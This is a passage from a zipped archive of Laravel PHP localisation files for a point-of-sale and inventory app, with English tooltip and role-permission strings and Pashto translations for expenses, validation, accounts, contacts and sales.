meaningful name to the Invoice Scheme.', 'invoice_scheme_prefix' => 'Prefix for an Invoice Scheme.<br>A Prefix can be a custom text or current year. Ex: #XXXX0001, #2018-0002', 'invoice_scheme_start_number' => "Start number for invoice numbering. <br><small class='text-muted'>You can make it 1 or any other number from which numbering will start.</small>", 'invoice_scheme_count' => 'Total number of invoices generated for the Invoice Scheme', 'invoice_scheme_total_digits' => 'Length of the Invoice Number excluding Invoice Prefix', 'tax_groups' => 'Group Tax Rates - defined above, to be used in combination in Purchase/Sell sections.', 'unit_allow_decimal' => 'Decimals allows you to sell the related products in fractions.', 'print_label' => 'Add products ->Choose informations to show in Labels -> Select Barcode Setting -> Preview Labels -> Print', 'expense_for' => 'Choose the user for which expense is related to. <i>(Optional)</i><br/><small>Example: Salary of an employee.</small>', 'all_location_permission' => 'If <b>All Locations</b> selected this role will have permission to access all business locations', 'dashboard_permission' => 'If unchecked only Welcome message will be displayed in Home.', 'access_locations_permission' => 'Choose all locations this role can access. All data for the selected location will only be displayed to the user.<br/><br/><small>For Example: You can use this to define <i>Store Manager / Cashier / Stock manager / Branch Manager, </i>of particular Location.</small>', 'print_receipt_on_invoice' => 'Enable or Disable auto-printing of invoice on finalizing', 'receipt_printer_type' => '<i>Browser Based Printing</i>: Show Browser Print Dialog Box with Invoice Preview<br/><br/> <i>Use Configured Receipt Printer</i>: Select a Configured Receipt / Thermal printer for printing', 'adjustment_type' => '<i>Normal</i>: Adjustment for normal reasons like Leakage, Damage etc. <br/><br/> <i>Abnormal</i>: Adjustment for reasons like Fire, Accident etc.', 'total_amount_recovered' => 'Amount recovered from insurance or selling of scraps or others', 'express_checkout' => 'Mark complete paid & checkout', 'total_card_slips' => 'Total number of card payments used in this register', 'total_cheques' => 'Total number of cheques used in this register', 'capability_profile' => "Support for commands and code pages varies between printer vendors and models. If you're not sure, it's a good idea to use the 'simple' Capability Profile", 'purchase_different_currency' => 'Select this option if you purchase in a different currency than your business currency', 'currency_exchange_factor' => "1 Purchase Currency = ? Base Currency <br> <small class='text-muted'>You can enable/disabled 'Purchase in other currency' from business settings.</small>", 'accounting_method' => 'Accounting method', 'transaction_edit_days' => 'Number of days from Transaction Date till which a transaction can be edited.', 'stock_expiry_alert' => "List of stocks expiring in :days days <br> <small class='text-muted'>You can set the no. of days in Business Settings </small>", 'sub_sku' => 'Sku is optional. <br><br><small>Keep it blank to automatically generate sku.<small>', 'shipping' => 'Set shipping details and shipping charges. Click on the edit icon below to add/update shipping details and charges.', ]; PK G �Z����� � en/role.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Role Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'add_role' => 'Add Role', 'edit_role' => 'Edit Role', 'user' => 'User', 'supplier' => 'Supplier', 'customer' => 'Customer', 'purchase' => 'Purchase & Stock Adjustment', 'report' => 'Report', 'user.view' => 'View user', 'user.create' => 'Add user', 'user.update' => 'Edit user', 'user.delete' => 'Delete user', 'supplier.view' => 'View supplier', 'supplier.create' => 'Add supplier', 'supplier.update' => 'Edit supplier', 'supplier.delete' => 'Delete supplier', 'customer.view' => 'View customer', 'customer.create' => 'Add customer', 'customer.update' => 'Edit customer', 'customer.delete' => 'Delete customer', 'product.view' => 'View product', 'product.create' => 'Add product', 'product.update' => 'Edit product', 'product.delete' => 'Delete product', 'purchase.view' => 'View purchase & Stock Adjustment', 'purchase.create' => 'Add purchase & Stock Adjustment', 'purchase.update' => 'Edit purchase & Stock Adjustment', 'purchase.delete' => 'Delete purchase & Stock Adjustment', 'sell.view' => 'View POS sell', 'sell.create' => 'Add POS sell', 'sell.update' => 'Edit POS sell', 'sell.delete' => 'Delete POS sell', 'purchase_n_sell_report.view' => 'View purchase & sell report', 'contacts_report.view' => 'View Supplier & Customer report', 'stock_report.view' => 'View stock report, stock adjustment report & stock expiry report', 'tax_report.view' => 'View Tax report', 'trending_product_report.view' => 'View trending product report', 'register_report.view' => 'View register report', 'sales_representative.view' => 'View sales representative report', 'expense_report.view' => 'View expense report', 'business_settings.access' => 'Access business settings', 'barcode_settings.access' => 'Access barcode settings', 'invoice_settings.access' => 'Access invoice settings', 'brand.view' => 'View brand', 'brand.create' => 'Add brand', 'brand.update' => 'Edit brand', 'brand.delete' => 'Delete brand', 'tax_rate.view' => 'View tax rate', 'tax_rate.create' => 'Add tax rate', 'tax_rate.update' => 'Edit tax rate', 'tax_rate.delete' => 'Delete tax rate', 'unit.view' => 'View unit', 'unit.create' => 'Add unit', 'unit.update' => 'Edit unit', 'unit.delete' => 'Delete unit', 'category.view' => 'View category', 'category.create' => 'Add category', 'category.update' => 'Edit category', 'category.delete' => 'Delete category', 'select_all' => 'Select all', 'settings' => 'Settings', 'brand' => 'Brand', 'tax_rate' => 'Tax rate', 'unit' => 'Unit', 'access_locations' => 'Access locations', 'all_locations' => 'All Locations', 'dashboard' => 'Home', 'dashboard.data' => 'View Home data', 'profit_loss_report.view' => 'View profit/loss report', 'direct_sell.access' => 'Access sell', ]; PK G �Z; � � en/product.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Product Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Product related operations. | */ 'exc_of_tax' => 'Exc. tax', 'inc_of_tax' => 'Inc. tax', 'profit_percent' => 'x Margin(%)', 'add_new_product' => 'Add new product', 'add_product_for_labels' => 'Add products to generate Labels', 'product_type' => 'Product Type', 'category' => 'Category', 'sub_category' => 'Sub category', 'unit' => 'Unit', 'brand' => 'Brand', 'tax' => 'Tax', 'sku' => 'SKU', 'alert_quantity' => 'Alert quantity', 'product_name' => 'Product Name', 'auto_generate' => 'Auto generate', 'manage_stock' => 'Manage Stock?', 'enable_stock_help' => 'Enable stock management at product level', 'barcode_type' => 'Barcode Type', 'applicable_tax' => 'Applicable Tax', 'selling_price_tax_type' => 'Selling Price Tax Type', 'inclusive' => 'Inclusive', 'exclusive' => 'Exclusive', 'edit_product' => 'Edit Product', 'default_purchase_price' => 'Default Purchase Price', 'default_selling_price' => 'Default Selling Price', 'value' => 'Value', 'variation_name' => 'Variation Name', 'variation_values' => 'Variation Values', 'use_template' => 'Use Template', 'variation_values' => 'Variation Values', 'add_variation' => 'Add Variation', 'product_added_success' => 'Product added successfully', 'product_updated_success' => 'Product updated successfully', 'enable_product_expiry' => 'Enable Product Expiry', 'expiry_period' => 'Expiry Period', 'expires_in' => 'Expires in', 'not_applicable' => 'Not Applicable', 'months' => 'Months', 'days' => 'Days', 'mfg_date' => 'MFG Date', 'exp_date' => 'EXP Date', 'view_product' => 'View Product', 'add_product' => 'Add Product', 'variations' => 'Variations', 'import_products' => 'Import Products', 'file_to_import' => 'File To Import', 'file_imported_successfully' => 'File imported successfully', 'variation_sku_format' => 'Variation SKU Format', 'variation_sku_format_help_text' => 'Variation SKU Format - When variation SKU is empty this format will be used to generate SKU for variations', 'sku_number' => 'SKU-Number (Example -> ABC-1, ABC-2)', 'sku_variation_number' => 'SKUVariation (Example -> ABCS, ABCM)' ]; PK G �Z\�0� � en/invoice.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Invoice Language Lines |-------------------------------------------------------------------------- | | The following language lines are for invoice screen | */ 'invoice_settings' => 'Invoice Settings', 'manage_your_invoices' => 'Manage your invoice settings', 'all_your_invoice_schemes' => 'All your invoice schemes', 'added_success' => 'Invoice setting added successfully', 'updated_success' => 'Invoice setting updated successfully', 'deleted_success' => 'Invoice setting deleted successfully', 'add_invoice' => 'Add new invoice scheme', 'edit_invoice' => 'Edit invoice scheme', 'name' => 'Name', 'prefix' => 'Prefix', 'start_number' => 'Start from', 'total_digits' => 'Number of digits', 'preview' => 'Preview', 'not_selected' => 'Not selected', 'invoice_count' => 'Invoice Count', 'invoice_schemes' => 'Invoice Schemes', 'invoice_layouts' => 'Invoice Layouts', 'invoice_layout' => 'Invoice layout', 'all_your_invoice_layouts' => 'All your invoice layouts', 'add_invoice_layout' => 'Add new invoice layout', 'layout_name' => 'Layout name', 'invoice_scheme' => 'Invoice scheme', 'header_text' => 'Header text', 'invoice_no_prefix' => 'Invoice no. label', 'invoice_heading' => 'Invoice heading', 'sub_total_label' => 'Subtotal label', 'discount_label' => 'Discount label', 'tax_label' => 'Tax label', 'total_label' => 'Total label', 'fields_to_be_shown_in_address' => 'Fields to be shown in location address', 'highlight_color' => 'Highlight color', 'footer_text' => 'Footer text', 'layout_added_success' => 'Invoice layout added successfully', 'edit_invoice_layout' => 'Edit invoice layout', 'layout_updated_success' => 'Invoice layout updated successfully', 'used_in_locations' => 'Used in locations', 'show_business_name' => 'Show business name', 'show_location_name' => 'Show location name', 'show_mobile_number' => 'Mobile number', 'show_alternate_number' => 'Alternate number', 'show_email' => 'Email', 'show_tax_1' => 'Tax 1 details', 'show_tax_2' => 'Tax 2 details', 'fields_to_shown_for_communication' => 'Fields for Communication details', 'fields_to_shown_for_tax' => 'Fields for Tax details', 'invoice_logo' => 'Invoice Logo', 'show_logo' => 'Show invoice Logo', 'show_barcode' => 'Show Barcode', 'total_due_label' => 'Total Due Label', 'invoice_heading_not_paid' => 'Heading Suffix for not paid', 'invoice_heading_paid' => 'Heading Suffix for paid', 'show_payments' => 'Show Payment information', 'show_customer' => 'Show Customer information', 'paid_label' => 'Amount Paid Label', 'customer_label' => 'Customer Label', 'invoice_scheme_for_pos' => 'Invoice scheme for POS', 'invoice_scheme_for_sale' => 'Invoice scheme for sale', 'number_type' => 'Numbering Type', 'sequential' => 'Sequential', 'random' => 'Aleatory/Random', 'number_type_tooltip' => 'Sequential will generate number serially like 1,2,3,4 <br/> Aleatory will generate number randomly' ]; PK G �Z��D� ps/expense.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Expense Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Expense CRUD operations. | */ 'expenses' => 'مصاریف', 'expense_categories' => 'د مصاریفو کټګورۍ', 'manage_your_expense_categories' => 'د مصاریفو کټګورۍ اداره کړئ', 'all_your_expense_categories' => 'ستاسو ټول د مصاریفو کټګورۍ', 'expense_category' => 'د مصاریفو کټګوري', 'category_name' => 'د کټګورۍ نوم', 'category_code' => 'د کټګوري کوډ', 'added_success' => 'د مصاریفو کټګوري په بریالیتوب سره اضافه شوه', 'updated_success' => 'د مصاریفو کټګوري په بریالیتوب سره تازه شوه', 'deleted_success' => 'د مصاریفو کټګوري په بریالیتوب سره پاکه شوه', 'add_expense_category' => 'د مصاریفو کټګوري اضافه کړئ', 'edit_expense_category' => 'د مصاریفو د کټګوري سمول', 'all_expenses' => 'ټول مصاریف', 'expense_status' => 'د مصاریفو حالت', 'add_expense' => 'مصاریف اضافه کړئ', 'edit_expense' => 'مصاریفو سمول', 'expense_note' => 'د مصاریفو یادونه', 'expense_add_success' => 'مصاریف په بریالیتوب سره زیات شوه', 'expense_update_success' => 'مصاریف په بریالیتوب سره تازه شوه', 'expense_delete_success' => 'مصاریف په بریالیتوب سره پاک شوه', 'expense_for' => 'مصاریف لپاره', ]; PK G �Z9��)� � ps/messages.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Common Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during common CRUD operations. | */ 'add' => 'اضافه کړئ', 'edit' => 'سمول', 'save' => 'خوندي کړئ', 'update' => 'تازه کړئ', 'action' => 'عمل', 'actions' => 'کړنې', 'view' => 'وګوره', 'delete' => 'پاک کړئ', 'close' => 'وتړئ', 'something_went_wrong' => 'یو څه خراب شو، لطفا وروسته بیا هڅه وکړئ', 'required' => 'دغه سیمی ته اړتیا ده', 'please_select' => 'لطفا غوره کړئ', 'cancel' => 'لغوه کړئ', 'date' => 'نیټه', 'filter_by_date' => 'د نیټې فلټر', 'location' => 'ځای', 'go_back' => 'بيرته لاړ شه', 'due_tooltip' => '-ve value = Amount to pay <br> +ve value = Amount to receive', 'purchase_due_tooltip' => '-ve value = Amount to receive <br> +ve value = Amount to pay', 'yes' => 'هو', 'no' => 'نه', 'all' => 'ټول', 'settings' => 'ترتیبونه', 'business_location_settings' => 'د سوداګرۍ د ځای ترتیبونه', 'print' => 'چاپ', 'submit' => 'سپارل', 'purchase_sell_mismatch_exception' => 'ERROR: NOT ALLOWED: Mismatch between sold and purchase quantity. Product: :product', 'purchase_stock_adjustment_mismatch_exception' => 'ERROR: NOT ALLOWED: Mismatch between stock adjustment and purchase quantity. Product: :product', 'transaction_edit_not_allowed' => 'د راکړې ورکړې سمون اجازه نه ورکوي پسله :days days.', 'name' => 'نوم', 'price' => 'بیه', 'activate' => 'فعال کړئ', 'deactivate' => 'غیر فعاله کړئ', ]; PK G �Z��;/ / ps/stock_adjustment.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Stock Adjustment Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Stock Adjustment CRUD operations. | */ 'stock_adjustment' => 'د سټاک سمون', 'stock_adjustments' => 'د سټاک سمونونه', 'list' => 'د سټاک د سمونونو لیست', 'add' => 'د سټاک سمول اضافه کړئ', 'all_stock_adjustments' => 'د سټاک ټول سمونونه', 'search_product' => 'د سټاک د سمون لپاره محصولات وپلټئ', 'adjustment_type' => 'د سمون ډول', 'normal' => 'معمولي', 'abnormal' => 'غیر معمولي', 'total_amount' => 'جمله پیسی', 'total_amount_recovered' => 'جمله پیسې ترلاسه شوې', 'reason_for_stock_adjustment' => 'دليل', 'stock_adjustment_added_successfully' => 'د سټاک سمون په بریالیتوب سره اضافه شو', 'search_products' => 'محصوالت لټون کړئ', 'delete_success' => 'د سټاک سمون په بریالیتوب سره پاک شو', 'view_details' => 'د سټاک د سمون تفصیلات وګورئ', ]; PK G �Z ځh� � ps/home.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Home Language Lines |-------------------------------------------------------------------------- | | The following language lines are used in home page. | */ 'home' => 'کور', 'welcome_message' => 'ښه راغلاست :name,', 'total_sell' => 'ټول خرڅلاو', 'total_purchase' => 'ټول خریدارۍ', 'invoice_due' => 'د خرڅلاو پور', 'purchase_due' => 'د خریدارۍ پور', 'today' => 'نن ورځ', 'this_week' => 'دا هفته', 'this_month' => 'دا میاشت', 'this_fy' => 'دا مالي کال', 'sells_last_30_days' => 'خرڅلاو تیر 30 ورځې', 'sells_current_fy' => 'خرڅلاو اوسنی مالي کال', 'total_sells' => 'ټول خرڅلاو (:currency)', 'product_stock_alert' => 'د محصول د سټاک خبرتیا', 'payment_dues' => 'د پیسو ورکړه', 'due_amount' => 'د پیسو راکړه', 'stock_expiry_alert' => 'د سټاک د تاریخ ختمولو خبرتیا', 'todays_profit' => 'د نن ورځې ګټه', ]; PK G �Z5� �" " ps/receipt.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Receipt Language Lines |-------------------------------------------------------------------------- | | The following language lines are used in receipt | */ 'product' => 'محصول', 'qty' => 'مقدار', 'unit_price' => 'د واحد بیه', 'subtotal' => 'فرعی مجموعه', 'discount' => 'رعایت', 'tax' => 'مالیه', 'total' => 'مجموعه', 'invoice_number' => 'د رسید نمبر', 'date' => 'نیټه', 'receipt_settings' => 'د رسید تریبونه', 'receipt_settings_mgs' => 'د دې ځای لپاره ټولې رسید پورې اړوند ترتیبونه', 'print_receipt_on_invoice' => 'د وروستي کولو وروسته اتوماتیک د رسید چاپ', 'receipt_printer_type' => 'د رسید د چاپګر ډول', 'receipt_settings_updated' => 'د رسید ترتیبونه په بریالیتوب سره تازه شوه', ]; PK G �Zɕ(�� � ps/tax_rate.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Tax Rates Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Tax Rate CRUD operations. | */ 'tax_rates' => 'د مالیې بیې', 'manage_your_tax_rates' => 'د مالیاتو نرخونه اداره کړئ', 'all_your_tax_rates' => 'ستاسو ټول مالیې نرخونه', 'name' => 'نوم', 'rate' => 'د مالیې کچه٪', 'added_success' => 'د مالیې کچه په بریالیتوب سره اضافه شوه', 'updated_success' => 'د مالیې کچه په بریالیتوب سره تازه شوه', 'deleted_success' => 'د مالیې کچه په بریالیتوب سره پاکه شوه', 'add_tax_rate' => 'د مالیې نرخ اضافه کړئ', 'edit_taxt_rate' => 'د مالیې د نرخ سمول', 'add_tax_group' => 'د مالیې ډلې اضافه کړئ', 'tax_group_added_success' => 'د مالیې ډله په بریالیتوب سره زیاته شوه', 'tax_group_updated_success' => 'د مالیې ډله په بریالیتوب سره تازه شوه', 'tax_groups' => 'د مالیې ډلې', 'edit_tax_group' => 'د مالیې ډله سمول', 'sub_taxes' => 'فرعي مالیې', 'can_not_be_deleted' => 'دا مالیه د ځینو مالیاتو ډلو پورې اړه لري', ]; PK G �Zm`�Do o ps/category.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'categories' => 'کټګوري', 'manage_your_categories' => 'خپل کټګورۍ اداره کړئ', 'all_your_categories' => 'ستاسو ټول کټګورۍ', 'category' => 'کټګورۍ', 'category_name' => 'د کټګورۍ نوم', 'code' => 'د کټګوري کوډ', 'add_as_sub_category' => 'د فرعي کتګورۍ په توګه اضافه کړئ', 'select_parent_category' => 'د پلار کټګورۍ غوره کړئ', 'added_success' => 'کټګوري په بریالیتوب سره اضافه شوئ', 'updated_success' => 'کتګوری په بریالیتوب سره تازه شو', 'deleted_success' => 'کټګوري په بریالیتوب سره پاکه شوی', 'add_category' => 'کټګوري زیاته کړئ', 'edit_category' => 'د کټګوري سمول', ]; PK G �Z->rZ� � ps/brand.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'brands' => 'برانډونه', 'manage_your_brands' => 'خپل برانډونه اداره کړئ', 'all_your_brands' => 'ستاسو ټول برانډونه', 'note' => 'یادونه', 'brand_name' => 'د برانډ نوم', 'short_description' => 'لنډ معلومات', 'added_success' => 'برانډ په بریالیتوب سره زیاته کړه', 'updated_success' => 'برانډ په بریالیتوب سره تازه شوه', 'deleted_success' => 'برانډ بریالیتوب سره پاک شو', 'add_brand' => 'برانډ اضافه کړئ', 'edit_brand' => 'برانډ سمول', ]; PK G �Z OЛ� � ps/auth.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Authentication Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during authentication for various | messages that we need to display to the user. You are free to modify | these language lines according to your application's requirements. | */ 'failed' => 'دا سندونه زموږ د ریکارډونو سره سمون نه خوري.', 'throttle' => 'ډیری د ننوتلو هڅې. لطفا بیا بیا هڅه وکړئ په :seconds seconds.', ]; PK G �Z�s�6� � ps/validation.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Validation Language Lines |-------------------------------------------------------------------------- | | The following language lines contain the default error messages used by | the validator class. Some of these rules have multiple versions such | as the size rules. Feel free to tweak each of these messages here. | */ 'accepted' => 'د :خاصیت باید ومنل شي.', 'active_url' => 'د :خاصیت یو باوري URL نه دی.', 'after' => 'د :خاصیت باید د نیټې وروسته وي :نیټه.', 'after_or_equal' => 'د :خاصیت باید د نیټې وروسته یا هم برابر وي :نیټه.', 'alpha' => 'د :خاصیت کېدی شي یوازې خطونه لري.', 'alpha_dash' => 'د :خاصیت کېدی شي یوازې خطونه، شمېره، او ویشونه لري.', 'alpha_num' => 'د :خاصیت کېدی شي یوازې خطونه او شمیرې لري.', 'array' => 'د :خاصیت باید یو لړ وي.', 'before' => 'د :خاصیت باید د نیټې څخه مخکې وي :نېټه.', 'before_or_equal' => 'د :خاصیت باید یو نیټه وي مخکې یا برابر وي :date.', 'between' => [ 'numeric' => 'د :خاصیت باید تر منځ وي :لږ او :ډیر.', 'file' => 'د :خاصیت باید تر منځ وي :لږ او :ډیر کیلوبیتونه.', 'string' => 'د :خاصیت باید تر منځ وي لږ او :ډیر توري.', 'array' => 'د :خاصیت باید ترمنځ وي :لږ او :ډیر توکي.', ], 'boolean' => 'د :خاصیت باید سم یا غلط وي.', 'confirmed' => 'د :خاصیت تایید سره سمون نلري.', 'date' => 'د :خاصیت یو باوري نېټه ندی.', 'date_format' => 'د :خاصیت د بڼه سره سمون نلري :بڼه', 'different' => 'د :خاصیت او :نور باید مختلف وي.', 'digits' => 'د :خاصیت باید وي :شمېرې ټوټې.', 'digits_between' => 'د :خاصیت باید تر منځ وي لږ او :ډیر شمېرې.', 'dimensions' => 'د :خاصیت د ناباوره انځور اړخونه لري.', 'distinct' => 'د :ځانګړي ساحه د دوه اړخیز ارزښت لري.', 'email' => 'د :خاصیت باید یو باوري بریښنالیک پته وي.', 'exists' => 'د ټاکل شوی :خاصیت ناباوره دی.', 'file' => 'د :خاصیت باید یو فایل وي.', 'filled' => 'د :د خاصیت ساحه باید ارزښت ولري.', 'image' => 'د :خاصیت باید یو انځور وي.', 'in' => 'د ټاکل شوی :خاصیت ناباوره دی.', 'in_array' => 'د :خاصیت په ساحه کې شتون نلري :نور.', 'integer' => 'د :خاصیت باید یو بشپړ شمېره وي.', 'ip' => 'د :خاصیت باید د یو باوري IP پتې وي.', 'ipv4' => 'د :خاصیت باید یو باوري IPv4 پته وي.', 'ipv6' => 'د :خاصیت باید یو باوري IPv6 پته وي.', 'json' => 'د :خاصیت باید یو باوري JSON تار وي.', 'max' => [ 'numeric' => 'د :خاصیت ممکن دومره نه وي تر :لوړ.', 'file' => 'د :خاصیت ممکن دومره نه وي تر :لوړ کلوبیتونه.', 'string' => 'د :خاصیت ممکن دومره نه وي تر :لوړ تورې.', 'array' => 'د :خاصیت ممکن نور نه وي تر :لوړې توکي.', ], 'mimes' => 'د :خاصیت باید د فایل ډول وي: :ارزښتونه.', 'mimetypes' => 'د :خاصیت باید د فایل ډول وي: :ارزښتونه.', 'min' => [ 'numeric' => 'د :خاصیت باید لږ تر لږه وي :لږترلږه', 'file' => 'د :خاصیت باید لږ تر لږه وي :لږ تر لږه کلوبیتونه.', 'string' => 'د :خاصیت باید لږ تر لږه وي :لږترلږه تورې', 'array' => 'د :خاصیت باید لږ تر لږه ولري :لږترلږه توکي.', ], 'not_in' => 'د ټاکل شوی :خاصیت ناباوره دی.', 'numeric' => 'د :خاصیت باید یو شمیر وي.', 'present' => 'د :خاصیت ساحه باید موجود وي.', 'regex' => 'د :خاصیت بڼه ناباوره ده.', 'required' => 'د :خاصیت ساحی ته اړتیا ده.', 'required_if' => 'د :خاصیت ساحی ته اړتیا ده کله چې :بل دی :ارزښت.', 'required_unless' => 'د :د خاصیت ساحی ته اړتیا نشته مګر :بل یې دی په :ارزښتونه.', 'required_with' => 'د :خاصیت ساحی ته اړتیا ده کله چې :ارزښتونه شتون ولري.', 'required_with_all' => 'د :خاصیت ساحی ته اړتیا ده کله چې :ارزښتونه شتون ولري', 'required_without' => 'د :خاصیت ساحی ته اړتیا ده کله چې :ارزښتونه شتون ونلري.', 'required_without_all' => 'د :خاصیت ته اړتیا ده کله چې هیڅ یو :ارزښتونه شتون ولري.', 'same' => 'د :خاصیت او :نور باید سمون ولري.', 'size' => [ 'numeric' => 'د :خاصیت باید وي :اندازه.', 'file' => 'د :خاصیت باید وي :د کیلوبایټونو اندازه.', 'string' => 'د :خاصیت باید وي :د اندازې حرفونه.', 'array' => 'د :خاصیت باید ولري :د اندازې توکي.', ], 'string' => 'د :خاصیت باید یو تار وي.', 'timezone' => 'د :خاصیت باید یو باوري زون وي.', 'unique' => 'د :خاصیت لا دمخه شوی دی.', 'uploaded' => 'د :خاصیت پورته کولو کې ناکام شو.', 'url' => 'د :خاصیت بڼه ناباوره ده.', /* |-------------------------------------------------------------------------- | Custom Validation Language Lines |-------------------------------------------------------------------------- | | Here you may specify custom validation messages for attributes using the | convention "attribute.rule" to name the lines. This makes it quick to | specify a specific custom language line for a given attribute rule. | */ 'custom' => [ 'attribute-name' => [ 'rule-name' => 'دودیز پیغام', ], ], /* |-------------------------------------------------------------------------- | Custom Validation Attributes |-------------------------------------------------------------------------- | | The following language lines are used to swap attribute place-holders | with something more reader friendly such as E-Mail Address instead | of "email". This simply helps us make messages a little cleaner. | */ 'attributes' => [], 'custom-messages' => [ 'quantity_not_available' => 'یوازې :مقدار :واحد شتون لري', 'this_field_is_required' => 'دغه ساحي ته اړتیا ده', ], ]; PK G �Z��3(� � ps/account.phpnu �[��� <?php return [ 'account' => 'حساب', 'manage_your_account' => 'خپل حساب اداره', 'all_accounts' => 'ټول حسابونه', 'account_number' => 'د حساب شمیره', 'add_account' => 'حساب اضافه کړئ', 'account_created_success' => 'حساب په بریالیتوب سره جوړ شو', 'account_updated_success' => 'حساب په بریالیتوب سره تازه شو', 'edit_account' => 'حساب بدلون/بدلول', 'account_closed_success' => 'حساب په بریالیتوب سره وتړل شو', 'closed' => 'تړل شوی', 'list_accounts' => 'حسابونه لیست', 'opening_balance' => 'پرانستې توازن', 'account_book' => 'د حساب کتاب', 'credit' => 'کریډیټ', 'debit' => 'ډبټ', 'account_name' => 'د حساب نوم', 'transaction_type' => 'د راکړې ورکړې ډول', 'fund_transfer' => 'د فنډ لیږدول', 'selected_account' => 'انتخاب شوی حساب', 'transfer_to' => 'ته لیږدول', 'fund_transfered_success' => 'فنډ په بریالیتوب سره انتقال شو', 'deposit' => 'جمع', 'deposited_successfully' => 'مقدار په بریالیتوب سره جمع شو', 'from' => 'له', 'to' => 'ته', 'balance_sheet' => 'د توازن پاڼه', 'liability' => 'مسؤلیت', 'assets' => 'شتمنۍ', 'supplier_due' => 'د عرضه کوونکي پور', 'customer_due' => 'د پیرودونکې پور', 'account_balances' => 'د حساب توازن', 'total_assets' => 'ټوله پانګه', 'total_liability' => 'ټول مسؤلیت', 'trial_balance' => 'د آزموینې توازن', 'payments_not_linked_with_account' => 'ټول <b>:payments</b> پیسې د کومې حساب سره تړاو نلري.', 'saving_current' => 'خوندي کول / اوسنی', 'capital' => 'پلازمینه', 'not_applicable' => 'کار وړی نه دی', 'account_type' => 'د حساب ډول', 'accounts' => 'حسابونه', 'capital_accounts' => 'د پلازمینې حسابونه', 'deposit_from' => 'جمع له', 'no_capital_account_created' => 'هیڅ کوم د پلازمینې حساب فعالیت نلري', 'payment_account_report' => 'د تادیاتو حساب راپور', 'invoice_ref_no' => 'د بیل نمبر / د حوالې نمبر', 'payment_ref_no' => 'د تادیاتو حواله نمبر', 'payment_for' => 'تادیاتو لپاره', 'link_account' => 'د حساب نښلول', 'account_linked_success' => 'حساب په بریالیتوب سره ونښتي دی', 'view_details' => 'تفصیلات وګورئ', ]; PK G �Z���} ps/pagination.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Pagination Language Lines |-------------------------------------------------------------------------- | | The following language lines are used by the paginator library to build | the simple pagination links. You are free to change them to anything | you want to customize your views to better match your application. | */ 'previous' => '« Previous', 'next' => 'Next »', ]; PK G �Z<�3b� � ps/contact.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Contact Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during Contacts CRUD operations. | */ 'contacts' => 'اړیکې', 'name' => 'نړم', 'contact' => 'اړیکه', 'manage_your_contact' => 'خپل :اړیکې اداره کړئ', 'all_your_contact' => 'ستاسو ټول :contacts', 'add_contact' => 'یو نوی اړیکه اضافه کړئ', 'contact_type' => 'د اړیکې ډول', 'tax_no' => 'د مالیه نمبر', 'pay_term' => 'د ورکړی شرط', 'pay_term_period' => 'د ورکړی موده', 'mobile' => 'ګرځنده ټیلیفون', 'landline' => 'لینې ټیلیفون', 'alternate_contact_number' => 'د متبادل تماس شمیره', 'edit_contact' => 'د اړیکې سمول', 'added_success' => 'اړیکه په بریالیتوب سره اضافه شوه', 'updated_success' => 'اړیکه په بریالیتوب سره تازه شوه', 'deleted_success' => 'اړیکه په بریالیتوب سره پاکه شوه', 'add_new_customer' => 'نوی ګیراک زیات کړئ', 'view_contact' => 'اړیکه وګورئ', 'contact_info' => ':contact info', 'all_purchases_linked_to_this_contact' => 'په دې اړیکې پورې اړوند ټولې خریدارۍ', 'all_sells_linked_to_this_contact' => 'په دې اړیکې پورې اړوند ټول خرڅ', 'total_purchase_due' => 'ټول پور د خریدارۍ', 'pay_due_amount' => 'د پیسو ورکولو مقدار', 'total_paid' => 'ټولې پیسې ورکړل شوې', 'total_purchase_paid' => 'د ټولو خریدارۍ تادیه', 'total_sale_paid' => 'د ټول خرڅ تادیه', 'total_sale_due' => 'ټول پور د خرڅ', 'customer' => 'ګیراک', ]; PK G �Z��h�D D ps/sale.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'sale' => 'خرڅول', 'sells' => 'خرڅلاو', 'list_sale' => 'د خرڅولو لیست', 'add_sale' => 'خرڅول اضافه کړئ', 'pos_sale' => 'POS', 'draft_added' => 'مسوده په بریالیتوب سره اضافه شوه', 'invoice_added' => 'رسید په بریالیتوب سره اضافه شو', 'item' => 'توکي', 'total' => 'مجموعه', 'order_tax' => 'د امر مالیه', 'discount' => 'رعایت', 'total_payable' => 'Total Payable', 'cancel' => 'لغوه', 'draft' => 'مسوده', 'finalize' => 'ورکړه او بشپړ ی وګوره', 'express_finalize' => 'ایکسپریس <br/>بشپړ ی وګوره', 'product' => 'محصول', 'products' => 'محصولات', 'unit_price' => 'واحد بیه', 'qty' => 'مقدار', 'subtotal' => 'فرعی مجموعه', 'recent_transactions' => 'ستاسو وروستي لیږدونه', 'pos_sale_added' => 'خرڅول په بریالیتوب سره اضافه شوی', 'price_inc_tax' => 'په قیمت کې مالیه شامل ده', 'tax' => 'مالیه', 'edit_discount' => 'رعایت سمول', 'edit_order_tax' => 'د امر مالیه سمول', 'discount_type' => 'د رعایت ډول', 